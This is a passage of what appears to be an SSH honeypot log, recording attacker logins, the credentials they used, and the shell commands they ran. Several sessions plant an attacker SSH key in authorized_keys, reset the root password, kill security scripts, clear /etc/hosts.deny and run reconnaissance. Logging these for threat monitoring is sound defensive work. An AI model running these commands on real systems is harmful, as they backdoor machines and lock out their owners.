[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 655856539171
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 24.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "655856539171",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:48:26.671986Z",
  "end_time": "2026-10-05T03:48:51.387196Z",
  "duration": "24.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Wc123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:oeZ1MxizBLbg\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:oeZ1MxizBLbg\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
103.248.120.6
2026-10-05 03:48:16.924120 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: torrent

Record ID: 30c9085a1f80
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.7s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "30c9085a1f80",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:48:16.924120Z",
  "end_time": "2026-10-05T03:48:19.597749Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "torrent",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
117.173.65.4
2026-10-05 03:48:05.029813 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 397a22ee56cc
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "397a22ee56cc",
  "src_ip": "117.173.65.4",
  "start_time": "2026-10-05T03:48:05.029813Z",
  "end_time": "2026-10-05T03:50:05.040857Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
130.185.96.125
2026-10-05 03:47:49.562035 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 11111

Record ID: f85af288f2aa
Client Version: SSH-2.0-OpenSSH_7.4
Engagement Duration: 35.0s
HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306
{
  "id": "f85af288f2aa",
  "src_ip": "130.185.96.125",
  "start_time": "2026-10-05T03:47:49.562035Z",
  "end_time": "2026-10-05T03:48:24.605619Z",
  "duration": "35.0",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "11111"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
211.58.176.42
2026-10-05 03:47:40.270288 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 11111

Record ID: 5f9a1804433b
Client Version: SSH-2.0-OpenSSH_7.4
Engagement Duration: 7.9s
HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306
{
  "id": "5f9a1804433b",
  "src_ip": "211.58.176.42",
  "start_time": "2026-10-05T03:47:40.270288Z",
  "end_time": "2026-10-05T03:47:48.154063Z",
  "duration": "7.9",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "11111"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
121.204.171.142
2026-10-05 03:47:31.150398 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ae3929a23e52
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "ae3929a23e52",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:47:31.150398Z",
  "end_time": "2026-10-05T03:49:31.155843Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.204.171.142
2026-10-05 03:46:23.299232 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 360814246220
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "360814246220",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:46:23.299232Z",
  "end_time": "2026-10-05T03:48:23.307501Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
128.185.12.179
2026-10-05 03:46:04.545795 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 1qazxsw2

Record ID: 77636403ad64
Client Version: SSH-2.0-OpenSSH_7.4
Engagement Duration: 8.6s
HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306
{
  "id": "77636403ad64",
  "src_ip": "128.185.12.179",
  "start_time": "2026-10-05T03:46:04.545795Z",
  "end_time": "2026-10-05T03:46:13.123142Z",
  "duration": "8.6",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1qazxsw2"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
103.248.120.6
2026-10-05 03:45:57.247730 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nodeuser

Record ID: d7671d797368
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.7s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "d7671d797368",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:45:57.247730Z",
  "end_time": "2026-10-05T03:45:59.982260Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "nodeuser",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
111.70.51.23
2026-10-05 03:45:52.095226 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 1qazxsw2

Record ID: 0f07a2e7679a
Client Version: SSH-2.0-OpenSSH_7.4
Engagement Duration: 7.7s
HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306
{
  "id": "0f07a2e7679a",
  "src_ip": "111.70.51.23",
  "start_time": "2026-10-05T03:45:52.095226Z",
  "end_time": "2026-10-05T03:45:59.762847Z",
  "duration": "7.7",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1qazxsw2"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
121.204.171.142
2026-10-05 03:45:27.394408 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 271bbc376e70
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "271bbc376e70",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:45:27.394408Z",
  "end_time": "2026-10-05T03:47:27.405884Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
117.173.65.4
2026-10-05 03:45:20.817014 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 753f23001139
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "753f23001139",
  "src_ip": "117.173.65.4",
  "start_time": "2026-10-05T03:45:20.817014Z",
  "end_time": "2026-10-05T03:45:23.388316Z",
  "duration": "2.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
117.173.65.4
2026-10-05 03:45:16.313665 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 2934a29b9dbe
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 4.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "2934a29b9dbe",
  "src_ip": "117.173.65.4",
  "start_time": "2026-10-05T03:45:16.313665Z",
  "end_time": "2026-10-05T03:45:20.601887Z",
  "duration": "4.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
117.173.65.4
2026-10-05 03:45:12.187804 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Dr147258

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 5e85c2acd059
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 11.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "5e85c2acd059",
  "src_ip": "117.173.65.4",
  "start_time": "2026-10-05T03:45:12.187804Z",
  "end_time": "2026-10-05T03:45:23.391441Z",
  "duration": "11.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Dr147258"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
205.210.31.54
2026-10-05 03:44:33.785705 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fccb6f65cc87
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "fccb6f65cc87",
  "src_ip": "205.210.31.54",
  "start_time": "2026-10-05T03:44:33.785705Z",
  "end_time": "2026-10-05T03:44:33.943668Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
121.204.171.142
2026-10-05 03:44:31.418499 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f035f92db8d2
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "f035f92db8d2",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:44:31.418499Z",
  "end_time": "2026-10-05T03:46:31.431231Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
103.248.120.6
2026-10-05 03:43:39.945436 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: marco

Record ID: 8f885fe5927a
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.7s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "8f885fe5927a",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:43:39.945436Z",
  "end_time": "2026-10-05T03:43:42.646244Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "marco",
      "pass": "marco2025"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
121.204.171.142
2026-10-05 03:43:33.254469 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: manel

Record ID: 286d804eb507
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "286d804eb507",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:43:33.254469Z",
  "end_time": "2026-10-05T03:43:35.942683Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "manel",
      "pass": "manel"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
2.188.206.146
2026-10-05 03:43:26.066490 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu12345678

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec
Record ID: 5833b7af0003
Client Version: SSH-2.0-Go
Engagement Duration: 2.4s
HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6
{
  "id": "5833b7af0003",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T03:43:26.066490Z",
  "end_time": "2026-10-05T03:43:28.475208Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu12345678"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
121.204.171.142
2026-10-05 03:42:37.003502 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 08217cce4f2b
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "08217cce4f2b",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:42:37.003502Z",
  "end_time": "2026-10-05T03:44:37.010861Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.204.171.142
2026-10-05 03:42:31.013299 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: caa210ba9d85
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "caa210ba9d85",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:42:31.013299Z",
  "end_time": "2026-10-05T03:44:31.024199Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.204.171.142
2026-10-05 03:42:26.215829 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 340

Credential acceptance event recorded. Target authentication: admin / 1122334455

Remote entity achieved interactive shell state. Command sequence (20 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo -e "1122334455\nZgsQj1XXGJcD\nZgsQj1XXGJcD"|passwd|bash
[obs-node]:~$ Enter new UNIX password:
Command not found: Enter new UNIX password:
[obs-node]:~$ echo "1122334455\nZgsQj1XXGJcD\nZgsQj1XXGJcD\n"|passwd
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: dec7f9b7d952
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 26.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "dec7f9b7d952",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:42:26.215829Z",
  "end_time": "2026-10-05T03:42:52.919479Z",
  "duration": "26.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "1122334455"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo -e \"1122334455\\nZgsQj1XXGJcD\\nZgsQj1XXGJcD\"|passwd|bash",
    "Enter new UNIX password: ",
    "echo \"1122334455\\nZgsQj1XXGJcD\\nZgsQj1XXGJcD\\n\"|passwd",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
